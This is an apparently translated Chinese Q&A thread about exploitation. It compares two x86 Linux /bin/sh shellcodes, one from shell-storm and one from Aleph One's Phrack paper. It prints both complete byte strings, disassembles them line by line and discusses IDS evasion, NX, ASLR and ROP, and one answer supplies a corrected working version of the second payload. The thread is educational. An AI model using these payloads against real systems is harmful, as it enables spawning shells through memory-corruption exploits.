为什么 bin/sh 有两种不同的 shellcode,它们的语法大不相同,哪一种更好用?(x86)

逆向工程 拆卸 部件 x86
2021-07-01 16:57:28

我发现了两个用于生成的 shellcode,/bin/sh它们彼此大不相同。第二个在网上几乎找不到,它主要出现在逆向工程网站上:

1. "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
   "\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80";

http://shell-storm.org/shellcode/files/shellcode-811.php

2.  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"

http://phrack.org/issues/49/14.html

https://stackoverflow.com/questions/2705854/can-anyone-explain-this-code-to-me

所以:

  1. 有什么区别,哪个更好用?

  2. 你能详细解释一下他们每个人的作用吗?例如为什么0x68732f2f在第一个链接中有推送如果这是一个地址,那么如果我们有像 ASLR 和 PIE 这样的东西,你怎么能在运行时间之前知道它呢?

  3. 如果它们做同样的事情,为什么这些 shellcode 会有如此大的不同?

2个回答
  1. 有什么区别,哪个更好用?

您引用的第二个来自历史论文(“ Smashing The Stack For Fun And Profit ” by Aleph One in Phrack #49, 1996)(请注意,您删除了最后一个 '/bin/sh' 这完全破坏了 shellcode) . 这可能是对什么是缓冲区溢出以及如何利用它的最著名的解释。这篇文章本身带有这个 shellcode,它已经被很多人用来学习和利用。

如今,如果大多数 IDS(入侵检测系统)在网络上以明文形式发送此 shellcode 并在它到达目标之前停止,则该 shellcode 将被检测到。而且,它是一个教育shellcode(阅读论文,AlephOne解释了如何构建这样一个shellcode),所以对于一个shellcode来说它有点大。

所以,第二个 shellcode 是众所周知的和大的,两个不使用它的原因,除非你想了解它的作用以及如何编写这样的东西。

您指出的第一个 shellcode 旨在尽可能减少空间(只有 28 个字节,而第二个则为 46 个字节)。拥有一个小的 shellcode 可能很有用,因为有时你只有很小的内存空间来编写它。因此,如果您的 shellcode 太大,它将无法正确执行。

  1. 你能详细解释一下他们每个人的作用吗?例如为什么$0x68732f2f在第一个链接中有推送如果这是一个地址,那么如果我们有像 ASLR 和 PIE 这样的东西,你怎么能在运行时间之前知道它呢?

这不是一个地址,它是字符串//sh(在little-endian的),看字0x2f/(ASCII码)重复两次,然后,sh

关于 ASLR 和 PIE,这些安全机制是在 shellcode 出现几年之后出现的。ASLR 旨在通过随机化地址来防止轻松利用缓冲区溢出。事实上,这并不是针对缓冲区溢出利用和 shellcode 的最糟糕的事情。最糟糕的是NX(不可执行堆栈)。而且,事实上,由于 NX 在这里,我们现在使用 ROP(面向返回编程)比 shellcode 更好(但我想这将是你理解这些 shellcode 后的下一步)。

如果您想完全理解 shellcode,请阅读 Aleph One 论文...

这是我所知道的最好的解释。

  1. 如果它们做同样的事情,为什么这些 shellcode 会有如此大的不同?

由于 IDS,它们的形状和大小各不相同,一旦 shellcode 很常见,就可以在 TCP/IP 数据包中扫描并找到它,并在通过网络进行攻击时停止。这就是为什么存在种类繁多的它(有些使用各种密钥进行自我加密以逃避 IDS)。

然后,您还必须考虑在程序中注入 shellcode 的方式,您可能有几个限制(例如仅 ASCII 或 UTF-8 字符)。这将给出另一组 shellcode(例如,参见本文)。

最后,正如我在开始时所说的,您可能有大小限制。这往往会尝试使用最小的 shellcode。

它们都有相似的目的并使用相同的系统调用(execverestart_syscall),它们在操作上没有区别(只是编程风格)。在第二个 shellcode 中,您可以轻松更改可执行命令。另一方面,如果您写入有效负载的缓冲区大小有限,则第一个更紧凑。

$0x68732f2f不是地址,它是//sh传递给中断字符串,所以它与 ASLR 和 PIE 无关

[0x00000000]> pd # shellcode1
            0x00000000      31c0           xor eax, eax
            0x00000002      50             push eax
            0x00000003      682f2f7368     push 0x68732f2f             ; '//sh'
            0x00000008      682f62696e     push 0x6e69622f             ; '/bin'
            0x0000000d      89e3           mov ebx, esp ; copy string (command) address in ebx
            0x0000000f      89c1           mov ecx, eax
            0x00000011      89c2           mov edx, eax
            0x00000013      b00b           mov al, 0xb                 ; 11
            0x00000015      cd80           int 0x80  ; execve()
            0x00000017      31c0           xor eax, eax
            0x00000019      40cd80         int 0x80 ; restart_syscall()

[0x00000000]> pd # shellcode2
        ,=< 0x00000000      eb1f           jmp 0x21
        |   0x00000002      5e             pop esi
        |   0x00000003      897608         mov dword [esi + 8], esi
        |   0x00000006      31c0           xor eax, eax
        |   0x00000008      884607         mov byte [esi + 7], al
        |   0x0000000b      89460c         mov dword [esi + 0xc], eax
        |   0x0000000e      b00b           mov al, 0xb               ; 11
        |   0x00000010      89f3           mov ebx, esi ; copy string (command) address in ebx
        |   0x00000012      8d4e08         lea ecx, [esi + 8]          ; 8
        |   0x00000015      8d560c         lea edx, [esi + 0xc]        ; 12
        |   0x00000018      cd80           int 0x80 ; execve()
        |   0x0000001a      31db           xor ebx, ebx
        |   0x0000001c      89d8           mov eax, ebx
        |   0x0000001e      40cd80         int 0x80 ; restart_syscall()
        `-> 0x00000021      e8dcffffff     call 2 ; push string (command) address to stack and jump to 0x00000002 (0x00000025 must be start of command's string)

更新:问题中修复的 shellcode 问题

你的第二个 shellcode 是不完整的,因为在你调用之后你必须将你的命令作为一个字符串,并且调用指令用于将字符串的地址推送到内存中。

这是你的第二个 shellcode 的固定版本。

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"